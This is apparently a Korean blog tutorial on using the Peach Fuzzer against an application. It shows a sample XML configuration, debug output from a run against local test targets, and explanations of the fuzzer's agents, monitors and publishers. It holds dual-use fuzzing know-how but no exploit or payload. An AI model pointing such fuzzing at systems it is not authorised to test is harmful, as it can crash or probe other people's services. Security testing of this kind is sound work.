Microsoft.Scripting.dll             Peach.Core.Test.OS.Linux.xml        PeachFuzzBang.exe                           SharpPcap.dll                      template.xml
NLog.config.template                Peach.Core.Test.OS.OSX.dll          PeachFuzzBang.exe.config                    SharpPcap.dll.config               testFile.xml
NLog.dll                            Peach.Core.Test.OS.OSX.dll.mdb      PeachFuzzBang.exe.mdb                       SuperSocket.Common.dll
Newtonsoft.Json.dll                 Peach.Core.Test.OS.OSX.xml          PeachLinuxCrashHandler.exe                  SuperSocket.Common.p

Peach Fuzzer를 이용하여 Application Fuzzing 하기


PeachFuzzer는 미리 타겟 프로그램과 설정을 xml 파일로 지정하고, 해당 XML 파일을 Peach의 인자값으로 넘겨 Fuzzing 을 수행하게 됩니다.



XML에서 사용되는 속성은 아래와 같습니다.

Data Model: defines the protocol or file format we want to fuzz.
State Model: used for controlling the flow of the fuzzing process.
Publisher: I/O interface that we can use to read data from a file/socket, write data to a file/socket, etc.
Mutators: takes an existing input test case and changes it a little bit to make it invalid.
Agents: the Peach process that needs to run on the target system, which is used to restart the fuzzed server if it crashes.
Monitors: are used to capture the network traffic, attaching a debugger to the target process, etc.
Logger: saves the crashes and input test cases into a file for later analysis.

1. Fuzzing 을 위한 XML 파일 작성

# vim noon.xml

<?xml version="1.0" encoding="utf-8"?>
<Peach xmlns="http://peachfuzzer.com/2012/Peach" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://peachfuzzer.com/2012/Peach ../peach.xsd">

 <DataModel name="TestTemplate">
  <String name="TheString" value="Hello World!" />
 </DataModel>

 <StateModel name="State" initialState="Initial">
  <State name="Initial">

   <Action name="SendValue1" type="output">
    <DataModel ref="TestTemplate" />
   </Action>
   
   <Action name="SendValue2" type="output">
    <DataModel ref="TestTemplate" />
   </Action>
   
  </State>
 </StateModel>

 <Agent name="LocalAgent">
  <Monitor class="LinuxDebugger">
   <Param name="Executable" value="./CrashableServer" />
   <Param name="Arguments" value="127.0.0.1 4244" />
  </Monitor>
 </Agent>

 <Test name="Default">
  <Agent ref="LocalAgent" />

  <StateModel ref="State"/>
  <Publisher class="Tcp">
   <Param name="Host" value="127.0.0.1" />
   <Param name="Port" value="8080" />
  </Publisher>
  <Logger class="Filesystem">
   <Param name="Path" value="Logs" />
  </Logger>
 </Test>
</Peach>
<!-- end -->

2. peach 명령을 통해 Fuzzing 실행


# ./peach --debug noon.xml

[[ Peach v3.1.124.0
[[ Copyright (c) Michael Eddington

[*] Test 'Default' starting with random seed 21414.
Peach.Core.Agent.Agent StartMonitor: Monitor LinuxDebugger
Peach.Core.Agent.Agent SessionStarting: Monitor
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger Wrote gdb commands to '/tmp/gdb.2gN1C8/gdb.cmd'
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger _Start(): Starting gdb process
Establishing the listener...

establish listener error: 98
[Inferior 1 (process 11801) exited with code 03]

[R1,-,-] Performing iteration
Peach.Core.Engine runTest: Performing recording iteration.
Peach.Core.OS.Linux.Agent.Monitors.LinuxDebugger _Start(): Starting gdb process
Establishing the listener...

establish listener error: 98

Program received signal SIGINT, Interrupt.
0xf7ea8794 in _exit () from /lib/i386-linux-gnu/libc.so.6
Crash detected, running exploitable.
  File "/home/noon/Noon/Peach_Fuzzer/gdb/exploitable/exploitable.py", line 170
    print "\n".join(disas[max(pos-5,0):pos+5])
             ^
SyntaxError: invalid syntax
Peach.Core.Dom.Action Run: Adding action to controlRecordingActionsExecuted
Peach.Core.Dom.Action ActionType.Output
Peach.Core.Publishers.TcpClientPublisher start()
Peach.Core.Publishers.TcpClientPublisher open()
Peach.Core.Publishers.TcpClientPublisher output(12 bytes)
Peach.Core.Publishers.TcpClientPublisher

00000000   48 65 6C 6C 6F 20 57 6F  72 6C 64 21               Hello World!  

Peach.Core.Dom.Action Run: Adding action to controlRecordingActionsExecuted
Peach.Core.Dom.Action ActionType.Output
Peach.Core.Publishers.TcpClientPublisher output(12 bytes)
Peach.Core.Publishers.TcpClientPublisher

00000000   48 65 6C 6C 6F 20 57 6F  72 6C 64 21               Hello World!  

Peach.Core.Publishers.TcpClientPublisher close()
Peach.Core.Publishers.TcpClientPublisher Shutting down connection to 127.0.0.1:8080
Peach.Core.Publishers.TcpClientPublisher Read 1732 bytes from 127.0.0.1:8080
Peach.Core.Publishers.TcpClientPublisher

00000000   48 54 54 50 2F 31 2E 31  20 32 30 30 20 4F 4B 0D   HTTP/1.1 200 OK·
00000010   0A 43 6F 6E 6E 65 63 74  69 6F 6E 3A 20 63 6C 6F   ·Connection: clo
00000020   73 65 0D 0A 43 61 63 68  65 2D 63 6F 6E 74 72 6F   se··Cache-contro
00000030   6C 3A 20 6E 6F 2D 63 61  63 68 65 0D 0A 50 72 61   l: no-cache··Pra
00000040   67 6D 61 3A 20 6E 6F 2D  63 61 63 68 65 0D 0A 43   gma: no-cache··C
00000050   61 63 68 65 2D 63 6F 6E  74 72 6F 6C 3A 20 6E 6F   ache-control: no
00000060   2D 73 74 6F 72 65 0D 0A  58 2D 46 72 61 6D 65 2D   -store··X-Frame-
00000070   4F 70 74 69 6F 6E 73 3A  20 44 45 4E 59 0D 0A 0D   Options: DENY···
00000080   0A 3C 68 74 6D 6C 3E 3C  68 65 61 64 3E 3C 74 69   ·<html><head><ti
00000090   74 6C 65 3E 42 75 72 70  20 53 75 69 74 65 20 46   tle>Burp Suite F
000000A0   72 65 65 20 45 64 69 74  69 6F 6E 3C 2F 74 69 74   ree Edition</tit
000000B0   6C 65 3E 0D 0A 3C 73 74  79 6C 65 20 74 79 70 65   le>··<style type
000000C0   3D 22 74 65 78 74 2F 63  73 73 22 3E 0D 0A 62 6F   ="text/css">··bo
000000D0   64 79 20 7B 20 62 61 63  6B 67 72 6F 75 6E 64 3A   dy { background:
000000E0   20 23 64 65 64 65 64 65  3B 20 66 6F 6E 74 2D 66    #dedede; font-f
000000F0   61 6D 69 6C 79 3A 20 41  72 69 61 6C 2C 20 73 61   amily: Arial, sa
00000100   6E 73 2D 73 65 72 69 66  3B 20 63 6F 6C 6F 72 3A   ns-serif; color:
00000110   20 23 34 30 34 30 34 32  3B 20 2D 77 65 62 6B 69    #404042; -webki
00000120   74 2D 66 6F 6E 74 2D 73  6D 6F 6F 74 68 69 6E 67   t-font-smoothing
00000130   3A 20 61 6E 74 69 61 6C  69 61 73 65 64 3B 20 7D   : antialiased;
...snip..

./Logs/각각 xml 이름의 폴더 하단에 log 데이터가 저장됩니다.
Burp Suite 를 켜놓고, Burp Port 에 대해 테스트를 진행해서, burp에도 데이터가 굉장히 많이 넘어왔더군요..

이런 형태로, XML을 지정하고 peach를 통해 xml을 파싱하여 Fuzzing 작업이 동작합니다.
TCP/WEB 이외에도 여러가지 포맷을 지원하고, 플랫폼 또한 영향받지 않아 넓은 형태의 Fuzzing 작업을 수행할 수 있네요.

Peach Fuzzer XML 문법(Syntax)

초반에 진행하던 중 가장 막힌 부분이 Peach Fuzzer 만의 문법(?)을 익히는게 어려웠습니다.
XML 문법을 따라가지만, 각각 속성 별 의미가 다르고 타겟이나 플랫폼에 따라 다양한 형태의 속성 값들을 사용해야 하기 때문에 어느정도 Tutorial 문서에 많이 의존할 수 밖에 없었습니다.

peach fuzzer 설치 경로 하단의 samples 디렉토리 안 xml 파일들을 보시면 대략적인 구조는 이해가 가실 겁니다.

크게 분류를 나누어 보자면

General Conf : Fuzzing 자체 전반적인 설정
Data Modeling : 데이터 모델링
State Modeling : 상태 모델링 
Agents : Fuzzing Data 수집을 위한 Agent 에 대한 내용입니다.
Test : 테스트 Target에 대한 내용입니다.

로 구성됩니다.
General Conf, Data Modeling,State Modeling 이 3부분은 Sample 파일이나 Tutorial 보시면 좀 편합니다.

주로 테스트에서 다뤄야할 부분은 Agents, Test 부분인데요.

일단 Agents 부터 볼까합니다.
Agents는 Fuzzing 되는 데이터를 수집하고 분석하는 부분을 나타내며, 크게 각각 OS별 Monitor로 구성되어 있습니다.
Windows Monitors
    Windows Debugger Monitor
    Cleanup Registry Monitor
    Page Heap Monitor
    Popup Watcher Monitor
    Windows Service Monitor
OS X Monitors
    OS X Crash Wrangler Monitor
    OS X Crash Reporter Monitor
Linux Monitors
    Linux Crash Monitor
Cross Platform Monitors
    CanaKit Relay Monitor
    Cleanup Folder Monitor
    IpPower9258 Monitor
    Memory Monitor
    Pcap Network Monitor
    Ping Monitor
    Process Launcher Monitor
    Process Killer Monitor
    Save File Monitor
    Socket Listener Monitor
    SSH Monitor
    SSH Downloader Monitor
    Vmware Control Monitor

요기서 LinuxCrash Monitor를 기준으로 보면 아래와 같이 <Agent> 내 <Monitor>를 통해 구성됩니다.

<Agent name="Local">
        <Monitor class="LinuxCrashMonitor"/>

        <Monitor class="Process">
                <Param name="Executable" value="./CrashingProgram" />  <!-- 수집프로그램 -->
                <Param name="StartOnCall" value="Start" />   <!-- ??  -->
                <Param name="Arguments" value="fuzzed.bin" />  <!-- 인자값 -->
        </Monitor>
</Agent>
제가 위에서 사용했던건 LocalAgent의 LinuxDebugger를 사용했고, 이친구는 수집서버 지정 후 인자값으로 서버에 필요한 파라미터를 넘겼습니다.

<Agent name="LocalAgent">
  <Monitor class="LinuxDebugger">
   <Param name="Executable" value="./CrashableServer" />
   <Param name="Arguments" value="127.0.0.1 4244" />
  </Monitor>
</Agent>
이런식으로 각각 OS,상황에 맞는 Agent와 Monitor를 지정하여 세팅합니다.

두번째는 Test 속성인데요.
테스트는 2가지로 나누어 볼 수 있습니다.
    Test - Configure a StateModel along with a combination of Publishers, Loggers, Agents, etc.
        Publishers - I/O interface for interacting with the fuzzing target.
        Loggers - Method of collecting fuzzing information used to analyze Faults.

Publishers 는 IO 입출력 관련하여 target에 fuzzing 될 데이터를 지정하는 부분이고
Logger 를 Fuzzing을 통해 얻어진 결과를 어떻게 처리할 지 지정하는 부분입니다.

여기서 Publisher 종류는 보면 아래와 같습니다.

Publishers
    Com
    Console
    ConsoleHex
    File
    FilePerIteration
    Http
    Null
    RawEther
    RawIPv4
    RawIPv6
    RawV4
    RawV6
    Remote
    TcpClient
    TcpListener
    Udp
    WebService

각각 종류 별 Publishers를 지원하고, XML 파일에서 지정하여 사용 가능합니다.
제가 사용했던 부분을 보면 아래와 같네요.

<Test name="Default">
  <Agent ref="LocalAgent" />

  <StateModel ref="State"/>
  <Publisher class="Tcp">
   <Param name="Host" value="127.0.0.1" />
   <Param name="Port" value="8080" />
  </Publisher>
  <Logger class="Filesystem">
   <Param name="Path" value="Logs" />
  </Logger>
 </Test>
일단 해당 Test 속성에서 Agent를 아까 만들어둔 LocalAgent로 지정하고 Publisher는 TCP로 지정하였습니다.
그다음 파라미터로 테스트를 위한 Burp의 IP/Port 를 지정하였죠.

추가로 Logger는 Filesystem 클래스로 지정하고, Path라는 파라미터에 Logs 디렉토리를 지정해 주었습니다.
이로써 Fuzzing 된 데이터는 실행 디렉토리 하단 Logs 디렉토리에 저장되게 되지요.

제 글만 보고 Peach Fuzzer를 잘 다룰수는 없다고 생각됩니다.. 생각보다 복잡한 Fuzzer이지만, 활용성이 넓기 때문에 잘 이용하면 되게 좋은 툴로 보이네요.

Guide Page 첨부하니, 참고하면서 분석해보세요 : )
http://community.peachfuzzer.com/v3/PeachPit.html

[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 1 - Install Peach Fuzzer
[SYSTEM HACKING] Peach Fuzzer를 통해 Application 분석 2 - Application Fuzzing for Exploit 
[SYSTEM HACKING] Peach Fuzzer의 GUI 모드 - Peach3 Fuzz Bang(Run Peach Fuzzer on GUI Interface) 

Reference

http://community.peachfuzzer.com
Share: | Coffee Me: